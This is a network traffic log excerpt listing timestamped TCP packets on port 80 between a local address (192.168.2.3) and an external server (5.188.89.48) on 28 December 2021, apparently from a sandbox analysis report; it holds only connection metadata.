Dec 28, 2021 05:18:52.004671097 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004700899 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004740953 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004779100 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004777908 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.004812956 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.004818916 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004818916 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.004895926 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004940033 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004959106 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.005004883 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071413994 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071450949 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071474075 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071499109 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071526051 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071549892 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071573019 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071572065 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071594954 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071608067 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071619034 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071626902 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071641922 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071665049 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071670055 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071687937 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071711063 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071727037 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071733952 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071748972 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071758986 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071780920 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071803093 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071806908 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071825981 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071850061 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071851015 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071875095 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.071923018 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.071949005 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138258934 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138309956 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138326883 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138344049 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138360977 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138376951 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138391972 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138463974 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138605118 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138621092 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138638973 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138655901 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138672113 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138674974 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138690948 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138708115 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138725042 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138731956 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138737917 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138755083 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138767958 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138772964 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138783932 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138797045 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138811111 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138849020 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138860941 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138865948 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138870955 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138900995 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138920069 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138936043 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138941050 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.138952971 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138968945 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138984919 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.138991117 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.139000893 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139018059 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139034033 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.139034986 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139056921 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.139105082 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139122963 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139137983 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139153957 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139168978 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.139183998 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139189005 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.139219046 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139235973 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139240026 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.139249086 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.139250040 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139264107 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.139306068 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.139348030 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.207984924 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208045959 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208089113 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208127975 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208148956 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208168983 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208208084 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208209038 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208246946 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208287001 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208312035 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208324909 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208364010 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208404064 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208416939 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208448887 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208486080 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208488941 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208528042 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208528042 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208566904 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208606005 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208633900 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208642006 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208671093 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208682060 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208720922 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208760977 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208796978 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208800077 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208837986 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208841085 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208904982 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208945036 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.208976984 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.208985090 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209017992 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209019899 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209060907 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209099054 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209139109 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209175110 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209177971 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209187984 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209217072 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209250927 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209258080 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209295988 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209335089 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209345102 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209373951 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209409952 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209412098 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209450960 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209490061 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209512949 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209530115 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209569931 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209578037 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209606886 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209646940 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209676027 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209686041 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209722042 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209724903 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209762096 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209800005 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209827900 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209839106 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209863901 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.209878922 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209916115 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209949017 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.209985018 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.210014105 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.276567936 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276629925 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276668072 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276706934 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276746035 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276767969 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.276782990 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276810884 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.276822090 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276853085 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.276886940 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276925087 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276963949 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.276994944 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277003050 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277036905 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277040958 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277081966 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277122021 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277144909 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277158976 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277194023 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277196884 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277235031 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277272940 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277297974 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277312040 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277332067 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277348042 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277386904 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277424097 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277446032 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277460098 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277479887 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277497053 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277534962 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277573109 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277611971 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277616024 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277648926 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277664900 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277687073 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277714014 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277724981 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277762890 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277790070 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277801991 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277838945 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277877092 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277904034 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277915955 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277951002 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.277952909 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.277992010 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278021097 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.278029919 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278068066 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278100014 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.278105974 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278145075 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278186083 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278215885 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.278227091 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278255939 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.278264046 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278304100 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278342009 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278363943 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.278379917 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278414965 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.278419018 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278458118 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.278482914 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.344882965 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.344943047 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.344981909 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.344990015 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345042944 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345065117 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345086098 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345124006 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345153093 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345247030 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345287085 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345310926 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345354080 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345393896 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345417976 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345432043 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345468998 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345494032 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345506907 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345546007 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345571041 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345585108 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345622063 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345642090 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345660925 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345698118 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345731020 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345733881 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345772982 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345797062 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345810890 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345849037 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345868111 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345889091 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345925093 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.345947027 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.345963001 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346000910 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346024990 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346036911 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346090078 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346110106 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346128941 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346167088 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346198082 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346206903 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346242905 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346272945 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346283913 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346323967 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346350908 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346359968 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346398115 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346430063 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346435070 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346473932 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346503019 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346530914 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346560955 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346601963 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346640110 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346674919 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346683025 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346713066 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346729040 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346755028 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346791983 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.346838951 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.346893072 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.411586046 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.411648035 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.411756039 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.413309097 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413363934 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413403988 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413434982 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413464069 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413506031 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413543940 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413583040 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413593054 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.413620949 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413639069 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.413656950 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413676977 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.413697004 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413727045 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.413736105 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413774967 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413810015 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.413814068 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413851023 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413870096 CET	49776	80	192.168.2.3	5.188.89.48
